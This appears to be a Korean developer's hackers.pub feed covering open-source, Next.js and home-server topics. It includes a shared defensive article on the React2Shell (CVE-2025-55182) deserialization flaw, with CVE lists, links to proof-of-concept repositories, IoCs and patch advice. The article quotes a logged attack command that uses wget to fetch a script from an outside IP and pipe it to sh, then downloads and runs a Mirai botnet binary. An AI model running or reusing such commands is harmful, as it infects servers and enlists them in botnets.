Profile img

킈락

@quiraxical@hackers.pub · 10 following · 8 followers

오픈소스 활동하면서 고민하게 되는 법적 어려움들

1. 오픈소스가 완전 공개에 무료인 것은 맞으나, 무상이라도 저작권 관리, 기업 납품 등 법적 행위가 정상적으로 성립하려면 절차상 결국 사업자등록 사실이 필요한 경우가 많다.

2. 리눅스 재단과 하버드대 공동 연구에 따르면, 오픈소스 메인테이너들은 본업 외에 주당 20시간 이상을 오픈소스에 쏟으며 사실상 '투잡'을 뛰지만 월급은 한 곳에서만 받는 기형적 구조다.

3. 이런 기형적인 구조에서, 그나마 비영리 활동을 한다고 인정을 받는 방법을 고민하게 되지만 실질적으로는 그 어느 나라도 제도적으로 방법이 없다시피한 경우가 많다.

4. 기존의 영리 사업자 제도에 대부분을 의존해야 해서 협력자가 아닌, 겸업으로 인식되거나 아예 경쟁사를 창업한 것으로 인식되는 등 의도치 않은 여러가지 오해를 불러일으키기도 한다.

5. 이 1에서 4까지의 내용을 이해하고 상담해주는 법률가조차 찾아보기 어렵다.

2
0
0

사실 남들이 같은 생각을 했다고 하면 오히려 좋을 수 있습니다. 그 생각을 실현해서 서비스하는 사람들이 어떻게 하는지 볼 수 있기 때문이죠. 그러면

  1. 그 서비스보다 더 나은 서비스를 만들 수 있습니다. 사실 처음 실현된 서비스는 어버버하면서 쓰지만, 개선되어 나온 경쟁제품이 나오면 그 때부터는 달라지거든요.
  2. 그 서비스가 사람들에게 선택을 받지 못한다면 왜 그런지 분석함으로써, 1번처럼 하거나 아예 다른 방향을 모색해볼 수도 있습니다.

크레페의 수수료 정책을 뒤집어서, 서비스 내 재화를 구입할 때 수수료를 떼고 수익금을 받아갈 때에는 전액을 그대로 주는 형태로 개선해보려고 했던 추억이 있네요. 물론 경영까지 하려니 영 답이 없어서 포기했지만요.

0

사실 저거 작가가 일러레 출신이라는 점은 차치하고, 저 친구가 타과(법대였던 걸로 기억) 대학 다니다가 디버거 알바로 시작해서 독학입문한지 얼마 안 된 상태로 기억합니다.

2

예전에 Know-how 보다 Know-where가 더 중요하다고 누구한테 조언을 받은 기억이 있고, 십여 년 전 얘기이지만 검색력이 중요하다는 말도 들었음. 그래서 키워드만 머릿속에 담아두고 필요할 때 찾아보고, 괜찮은 건 스크랩해두는 게 습관이 됐음. 지금은 그 스크랩들도 쌓여서 이걸 어떻게 할지 고민하고는 있지만 ㅋㅋㅋㅋ

나중에는 이런 데이터를 모아두는 전담 서버를 두게 되고, 위키엔진에도 관심을 가지게 됨.

이거 얘기하고 보니까 집에다가 별의별 것 모아놓아서 예능에 소개되는 사람이잖아

0

당신에겐 Chief Bookmark Officer가 필요하다
------------------------------
- 모든 회사에는 항상 *필요한 링크를 즉시 찾아주는 사람* 이 한명쯤 존재함
- 누군가 "X에 관한 기사 가지고 계신 분 있나요?"라고 물어보면 즉시 정확한 URL을 공유해 줌
- 우린 *북마크 더미에 파묻혀 있음* : 브라우저 곳곳, 슬랙 스레드, 이메일에 링크가 분산됨
- Notion, Raindrop, mymind 같은 *도…
------------------------------
https://news.hada.io/topic?id=25349&utm_source=googlechat&utm_medium=bot&utm_campaign=1834

1

NextJS 처음 써보는데, 챗봇 UI처럼 인터액티브한 웹앱을 만들때 도움이 되는 부분이 뭔지를 모르겠다. 처음엔 SPA + API 서버 만드는것과 비교해, 자명한 데이터 바인딩 보일러플레이트를 줄여줄거라 생각했다. 근데, 순수 SSR로 처리할 수 없는, 클라에서 상태를 업데이트하는 약간만 복잡한 플로우에서도 전혀 도움이 안된다.

@bglbgl gwyng 조금 박한 평가일지는 모르겠지만 NextJS는 SEO가 중요한 거 아니면 굳이라는 생각입니다. SSR을 써야 하는 경우가 요즘에는 상당히 제한적이라는 게 제 생각입니다. 굳이 따지자면 프론트엔드랑 백엔드랑 같이 작업할 수 있다 정도인데, 이건 풀스택이 아닌가 싶기도 하고요.

1

킈락님 말씀이 맞습니다. 아이폰 사파리에서 리셋(페이지 새로 고침)시켜 버리는 걸로 보입니다. (모바일 유튜브는 정상입니다.) 임베드 (iframe) 플레이어에서만 일어나는 것 같습니다. 대답이 전부 ~같습니다로 밖에 답을 못드릴 정도로 지금 지식이 얄팍합니다. @quiraxical킈락

0

아이폰 사파리 리액트 웹앱에서 모달창을 띄워 유튜브를 재생하는데 10여분이 지나면 갑자기 닫혀 버립니다.(PC는 정상) 닫히는 순간 사파리 상단에 알림창이 아주 찰나에 떴다 사라집니다. 맥북 개발자 툴에 붙여 확인했는데 별다른 로그도 안남고, 찰나에 사라진 메시지가 뭔지도 알 수가 없네요.

10분동안 재생된 영상 3~4개인데, 캐시가 얼마 되지 않아 메모리 이슈는 아니지 않을까 하는데요. 언젠가 앱개발도 손대야 할지 모르는데, 살짝 겁납니다. 디버깅 방법이 뭐가 좋을까요?

0

킈락 shared the below article:

React2Shell 취약점의 특성을 알아보자

고남현 @gnh1201@hackers.pub

React2Shell 취약점이란?

외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.

이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.

특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.

특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.

자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.

역직렬화(Deserialization) 과정은 왜 위험한가?

실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.

  1. 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
  2. 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
  3. 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.

이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.

알려진 역직렬화 취약점 사례 (언어 및 생태계별)

역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.

언어 / 생태계역직렬화 취약점 사례주요 공통점
JavaCVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind)외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생
.NET (C# / VB.NET)CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase)BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행
PythonCVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS)pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거
PHP (WP)CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress)unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생
RubyCVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal)YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행
JavaScript / Node.jsCVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript)구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석
GoCVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul)Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS
RustGHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험
Kotlin / AndroidCVE-2024-43080 (Android) / CVE-2024-10382 (Android Car)Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS
C / C++CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf)Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족
Swift / iOSCVE-2021-32742 (Vapor)외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출
산업용 (ICS/OT)CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC)프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능

역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.

이제 사전 정보 없이도 공격 특성을 읽을 수 있다.

역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.

여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.

  • https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
  • https://github.com/msanft/CVE-2025-55182/blob/main/poc.py

여기서 알 수 있는 정보는 다음과 같다.

  1. 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
  2. 생성자 수준의 키워드 (__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.
  3. then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.
  4. 페이로드의 value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다.
  5. 공격 코드로 보이는 _response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.
  6. 결국 JSON 역직렬화 과정이 일어나면서, then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.
  7. 공격 절차에 포함되는 Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.

공격자는 이 취약점을 이용해서 뭘하나?

Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.

(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
 cd /dev; \
 busybox wget http://31.56.27.76/n2/x86; \
 chmod 777 x86; \
 ./x86 reactOnMynuts)

이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.

그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.

  • https://www.virustotal.com/gui/file/858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (33/65 security vendors flagged this file as malicious)

(그래 너 나쁜거 알았으니 그만 알아보자)

관련 IoC 는 다음과 같다.

  • 3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)
  • 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)
  • http://193.34.213.150/nuts/bolts (URL)
  • http://31.56.27.76/n2/x86 (URL)

범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.

추가 분석은 아래 링크에서 확인할 수 있다.

  • https://www.mbsd.jp/research/20251211/react2shell/
  • https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home

이 공격을 어떻게 완화해야할까?

버전 업데이트로 해결하기

Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.

Vulnerable version Patched release
Next.js 15.0.x 15.0.5
Next.js 15.1.x 15.1.9
Next.js 15.2.x 15.2.6
Next.js 15.3.x 15.3.6
Next.js 15.4.x 15.4.8
Next.js 15.5.x 15.5.7
Next.js 16.0.x 16.0.10
Next.js 14 canaries after 14.3.0-canary.76 Downgrade to 14.3.0-canary.76 (not vulnerable)
Next.js 15 canaries before 15.6.0-canary.58 15.6.0-canary.58
Next.js 16 canaries before 16.1.0-canary.12 16.1.0-canary.12 and after

혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.

  • https://github.com/vercel-labs/fix-react2shell-next

방화벽(WAF 등) 규칙의 개선으로 완화하기

Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.

Read more →
1

"OOO 주식회사 OOO 대표님 맞으시죠? 산업안전보건교육 받아야 하는 업체에 해당합니다. 직원이나 프리랜서 고용 있으시죠? 어쩌고~" 일단 쎄한 느낌을 받았습니다. 다다다 쏴붙이면서 중간에 질문할 틈을 최대한 막으면서 가는 꼬락서니가 관공서는 아니구나 싶었습니다. 고용이나 프리랜서 없다고 하니, 뚝 끊어 버립니다. 검색해보니, 이런식의 반쯤 사기같은 행태가 존재한다고 하네요. 소규모 법인 대표님들 조심하세요~

3

언제까지 (a:number, b:number) => a + b, (a:string, b:string) => a + b, <T>(a: T, b: T) => a + b 를 해줘야 하나고
그냥 대충 눈치껏 (a, b) => a + b 하면 'ba 와 더할 수 있어야 하는 타입이고 a 는 무언가와 더할 수 있는 타입이구나' 하고 추론할 수 있는 분석기가 달린 언어가 필요함

3

서버 운영자라면 꼭 들어야할 개인정보보호 교육 안내

해를 넘기기 전에 들어서 수료증 꼭 받아두세요.

(2025년 기준)

  1. 개인정보배움터 (개인정보보호위원회) 가입: https://edu.privacy.go.kr/

  2. "사업자 온라인교육" 클릭

  3. "AI 투명성 확보 및 개인정보보호 가이드" 강의 청취 후 수료증 발급

  4. 서버 이용 가이드 등 별도 문서에 수료증 링크해두기

불특정 다수를 상대로 서비스 하고 계시고, 주 서비스 지역 및 이용자가 한국인 경우 꼭 들어두세요.

2

https://nextjs.org/blog/security-update-2025-12-11

Next.js의 추가 보안 업데이트가 있습니다.

지난주에 CVE-2025-66478 보안취약점때문에 부랴부랴 패키지 업데이트한 기억이 있는데, 이번에도 몇개 패치되었네요.

Next.js를 App Router 방식으로 쓰는 개발자분들은 잊지 말고 업데이트하셔요.

fix-react2shell-next 패키지로 검사 및 업데이트 가능합니다.

❯ npx fix-react2shell-next

fix-react2shell-next - Next.js vulnerability scanner

Checking for 4 known vulnerabilities:

  - CVE-2025-66478 (critical): Remote code execution via crafted RSC payload
  - CVE-2025-55184 (high): DoS via malicious HTTP request causing server to hang and consume CPU
  - CVE-2025-55183 (medium): Compiled Server Action source code can be exposed via malicious request
  - CVE-2025-67779 (high): Incomplete fix for CVE-2025-55184 DoS via malicious RSC payload causing infinite loop

...
3

@quiraxical킈락 @kodingwarriorJaeyeol Lee 물론 릴리스는 CI/CD로 자동화를 하는 게 좋다고 생각합니다. 하지만 체인지로그를 갖추는 것과 CI/CD를 통한 릴리스 자동화가 양립 불가능한 건 아니라고 봅니다. 실제로 제가 관리하는 프로젝트들은 릴리스를 CI/CD로 자동화 했지만, 체인지로그는 커밋 메시지에서 추출하지 않고 별도로 관리하고 있거든요. 사실 특별한 방법을 쓰는 것도 아니고, 프로젝트 루트에 CHANGES.md 문서를 두고 커밋할 때마다 해당 문서에 항목을 추가하도록 하고 있습니다. 요는 체인지로그를 릴리스할 때 몰아서 쓰는 게 아니라, 평소에 커밋할 때 미리 체인지로그를 준비해 두는 것입니다. 언제 릴리스를 하든 체인지로그가 완성되어 있도록 말이죠.

1

@hongminhee洪 民憙 (Hong Minhee) @kodingwarriorJaeyeol Lee 아무래도 버전 릴리즈 자체를 CD에 맡겨놔서 그런가 봅니다. 마이너 버전 업데이트 내역은 자체 사이트 블로그에서 별도로 정리하고 있네요. 가아끔이지만 직접 릴리즈 내역을 수정한 적도 있는 듯합니다. 물론 이런 걸 원하신 건 아니실테고...

(아무래도 제가 딸깍으로 릴리즈 노트를 써서 그런지 양심에 찔려서 댓글 달아봅니다.)

0
0

SolidJS로 앱 만들다가 아이콘셋이 필요해져서 패키지를 뒤져보는데, 마이너 생태계답게 마지막 업데이트가 삼사년 전인 패키지들만 나온다. 아이콘셋에 업데이트가 필요 없긴 하지. 그래도 최근에 업데이트 된 패키지가 걸리적거리는게 없을 것 같달까. 그러다 활발히 업데이트 중인 unplugin-icons를 찾았다. 이것은 SolidJS용 패키지가 아니었다. 아이콘셋도 아니었다. 거의 모든 아이콘셋을 거의 모든 프레임워크에서 사용할 수 있게 해주는 도구다. 이런 문물이 있었다니. 누가 만들었나 함 보자. 제작자는 Anthony Fu... 아아 또 그인가. 오늘도 비 React 웹 생태계엔 Anthony Fu의 은혜가 넘친다.

4

여러 해 동안 블로그 포스팅을 해오면서, 어떻게 하면 블로그 글 자체에만 집중하는 포스팅 환경을 구축할 수 있을 것인가에 대한 고민을 해왔습니다. 그러다가 개념 증명 단계를 넘어서서 실질적인 프레임워크를 하나 만들어봤고, 성공적으로 시스템을 시작할 수 있게 되어 소식을 공유합니다. :-D

이 프레임워크의 좋은 점은, 형식을 강제하지는 않으면서 3개 국어 (한국어, 영어, 일본어)의 번역 일관성을 유지하고, 글에 대한 탈고와 리뷰 과정까지 AI에 맡긴다는 점입니다.

조만간 기존 네이버 블로그, velog, 링크드인 등 다양한 곳에 흩뿌려져 있던 콘텐츠들을 이곳으로 통합하여 운영을 시작할 예정입니다.

https://devwrite.ai/ko/posts/introducing-devwrite-blog/

5

요즘은 애셋이 저렴해서 누구나 게임을 만들 수 있게 되었다 => 그럼 애셋을 만드는 사람들은....

요즘은 저가로 누구나 빠르게 MVP를 만들 수 있게 되었다 => 그러면 기존에 MVP를 만들어 왔던 사람들은...

0
5

지금 아이디어는 load에서 SSR인지 여부에 따라서 T | Promise<T>를 던져서 SSR에서는 바로 데이터 / CSR 에서는 Promise 결과가 스트리밍되게 하고 +page.svelte에서는 항상 :then을 씌워주면 SSR때도 Promise 아닌게 들어오면 :then을 렌더링하니까 어떻게 될 거 같긴 한데 어쨌든 SvelteKit의 간단한 구조는 포기해야 하니까... (어쩔 수 없는거지 싶기도 하고)

0

@eonj어리 19인치 랙을 옛날에 썼었습니다만 (사무실에서 버린 6U짜리), 어차피 서버 컴퓨터를 쓰거나 한 게 아니라서 큰 의미는 없었습니다. 본문의 '서버 장'이라 하는 것은 19인치 랙은 아니고, 신발장(가구)을 개조해서 서버 2대와 공유기 2대를 끼워넣은 녀석입니다.

0

오늘 이사를 했습니다. 이사를 하면서 본가에 있던 서버 두 대가 들어 있는 서버 장(欌)을 들고 왔습니다. (신발장을 개조해서 만든 유-사 서버랙)

이번에 이사하면서, 돈을 열심히 벌어서 서버랙을 구해야겠다는 생각이 들었습니다. 그리고 어떻게 해야 효율적인 이사가 가능할까 하는 고민이 들기 시작했습니다. 오늘은 부모님이 도와주셨으나, 다음은 제가 책임져야 할 가능성이 높기 때문에...

2

X(트위터)에서 저는 대부분 개발자 분들과 팔로우 맺어져 있고, 특별히 정치색을 내는 분들이 안계셔서 정치 글들은 눌러서 본적도 없습니다만, 최근 몇 달간, 흔히 말하는 극우적인 성향의 글들이 추천으로 계속 뜨네요. 내 알고리즘이 오염된건가... 완전 개발자 얘기들만 찾아다니는데 왜 그럴까요.

@lionhairdino 잘은 모르지만 아무래도 지역 기반 추천이 적용된 게 아닌가 싶습니다. 개인적인 경험상 트위터에서는 좋아요(일명 '맘찍')한 트윗과 비슷한 부류의 트윗이 더 많이 추천되게 되어 있고, 추천 탭에서 원하지 않는 트윗을 추천하지 않도록 트윗별로 설정할 수 있습니다. 여기에 필요 시 몇몇 계정이나 키워드를 차단하면, 원하시는 부류의 트윗들 위주로 추천이 이뤄지지 않을까 생각합니다.

1

왜 나는 월드 와이드 웹을 무료로 세상에 내놓았는가
------------------------------
- *Tim Berners-Lee* 가 월드 와이드 웹을 만들고 이를 *무료로 공개* 한 이유를 설명
- 월드 와이드 웹은 *인터넷과 하이퍼텍스트* 를 결합한 단순한 아이디어에서 시작해 전 세계 창의성과 협업을 촉진할 수 있는 도구로 제안된 것
- 성공하려면 누구나 접근 가능해야 했기에, 1993년 *Cern이 지식재산을 공공…
------------------------------
https://news.hada.io/topic?id=23342&utm_source=googlechat&utm_medium=bot&utm_campaign=1834

0

macOS Tahoe에서 일렉트론 애플리케이션이 말도 안되게 느렸던 이유는 Liquid Glass 도입으로 시스템에 전반적 연산이 늘어난게 아니라 Electron이 AppKit의 private API를 잘못 쓰면서 WindowServer에서 GPU를 미친듯이 쓴 것이었다.

https://github.com/electron/electron/pull/48376

5

인터넷 상에서 어떠한 담론에 대한 논의가 여럿 오갈때 전체적으로 천천히 살펴보면, 해당 담론에 대한 찬반 여부와 별개로 토론을 하고싶은 사람이 있고 시비 털고 조롱하고 키배뜨고싶은사람이 있는데 후자가 너무 많이 보인다 심지어 블루스카이에도 물론 블루스카이는 절대적인 이용자 수가 적어서 블루스카이-트위터 담 너머를 향하기 때문에 직접적으로 서로 키배가 터지는 경우는 상대적으로 적긴 한데 좀 좀 그렇다 다들 뇌에 힘좀 주고 삽시다..(일단 나부터)

1

킈락 shared the below article:

'블루스카이즘', 정치 폭력, 그리고 권위주의 하의 개방 소셜 네트워크

잇창명 EatChangmyeong💕🐱 @eatch@hackers.pub

이 글은 개방형 소셜 네트워크인 블루스카이가 미국 정치 지형 변화 속에서 겪는 어려움을 분석합니다. 중도 논객들의 비판과 가짜 뉴스 확산으로 '좌편향' 플랫폼이라는 낙인이 찍히고, 정부의 검열 압박까지 받는 상황을 설명합니다. 특히 찰리 커크 피살 사건을 계기로 블루스카이에 대한 정치적 공격이 심화되고 있으며, 이는 앱 스토어 퇴출과 같은 실질적인 위협으로 이어질 수 있음을 지적합니다. 저자는 블루스카이가 빅테크의 엔시티피케이션(enshittification) 문제 해결에 집중하는 동안, 권위주의 정부의 탄압이라는 새로운 위협에 직면했다고 주장합니다. 따라서 단순한 플랫폼 이동의 자유를 넘어, 정치적 탄압에도 살아남을 수 있는 회복탄력성 있는 네트워크 구축이 필요하다고 강조합니다. 이 글은 기술적 자유와 정치적 억압 사이의 복잡한 관계를 조명하며, 미래 소셜 네트워크의 방향성에 대한 중요한 질문을 던집니다.

Read more →
5

홈 서버로 맥 미니가 좋은 이유… 를 이야기하기엔 작은 LLM을 손 쉽게 돌릴 수 있다거나 여러가지가 있는데 제일 좋은 이유는 하드웨어 가속 동영상 트랜스코딩이라고 생각한다.

미디어 스트리밍 서버인 Jellyfin은 트랜스코딩에서 엔비디아의 NVENC, 인텔의 QSV, AMD AMF, 애플의 Video Toolbox를 비롯한 여러 하드웨어 가속 기술을 지원하는데 대부분 홈 서버에선 내장 GPU를 쓰거나 고성능 GPU를 넣지 않는다는걸 생각하면 맥 미니만한 선택지가 없다.

Jellyfin은 Apple Video Toolbox 가속은 당연히 macOS에서만 지원된다 이야기하지만 전에 맥 스튜디오를 쓸 때 찾아보니 ssh를 통해 macOS 호스트의 ffmpeg를 사용하는 방법이 있어서 이걸 활용해서 해결했고 이 때 참고한 글을 안 남겨두면 나중에 까먹을 것 같아서 기록차 공유한다.

https://oliverbley.github.io/posts/2022-12-27-jellyfin-in-docker-hardware-acceleration-on-macos/

5

@z9mb1Jiwon 자신의 레벨에 따라 다른데요,

  1. 코테 시스템 자체에 익숙하지 않은 경우(내 코드를 제출해서 채점을 받는다는 것에 익숙하지 않은 경우)
  • 프로그래머스 - 코딩테스트 에서 Lv. 0 문제들을 풀면서 일단 코테 방식에 익숙해지는 것을 추천드립니다.
  1. 코테 문제들을 봤는데 너무 어렵다 - 기초 필요
  1. 나는 코테 좀 익숙한데 좀 어려운 문제 보면 주춤거림
5

Deno로 만든 서버에서 SSRF 공격을 어떻게 막을 수 있을까 고민하다가, Deno에 --allow-net과 함께 쓸 수 있는 --deny-net 옵션이 있다는 것을 알게 되었다. 대충 아래와 같이 쓰면 SSRF 공격을 기본적인 수준에서는 막을 수 있을 듯하다.

deno run \
  --allow-net \
  --deny-net=127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16,0.0.0.0/8,224.0.0.0/4,240.0.0.0/4,255.255.255.255,localhost,[::1],[::],[::ffff:0:0]/96,[fe80::]/10,[fc00::]/7 \
  script.ts
4
5
3

킈락 shared the below article:

힙스택 보존 법칙

RanolP @ranolp@hackers.pub

이 글에서는 프로젝트 진행 시 기술 스택 선정에 대한 경험적 법칙인 "힙스택 보존 법칙"을 소개하며, 힙한 기술 스택을 과도하게 선택할 경우 프로젝트가 산으로 갈 수 있음을 경고합니다. 저자는 신기술 도입 시 발생하는 호환성 문제와 그로 인한 추가 작업의 부담을 설명하며, 커뮤니티가 크고 성숙한 기술의 중요성을 강조합니다. 힙한 기술을 사용하더라도 프로젝트를 성공적으로 이끌 수 있는 두 가지 조건, 즉 기술의 안정성과 개발자의 숙련도를 제시하며, 힙스택을 사용하기 전에 충분한 학습과 경험을 통해 기술적 내성을 길러야 함을 역설합니다. 이 글은 기술 스택 선택의 중요성과 개발자의 역량 강화 필요성을 동시에 강조하며, 균형 잡힌 기술 스택 선택이 프로젝트 성공에 미치는 영향을 시사합니다.

Read more →
14
1
1

Hackers' Popup @ Seoul 도 좋을지도 모르겠네요. 해커스펍의 서울 팝업스토어 느낌으로...

2

안녕하세요, 일할 곳을 찾아 헤매고 있습니다. 사실 다른 일을 해볼까도 생각중입니다. 여하튼 여전히 개발이 좋은 킈락이라고 합니다. 파이콘 때 가입은 했는데 늦게 인사드립니다. 잘 부탁드립니다!

7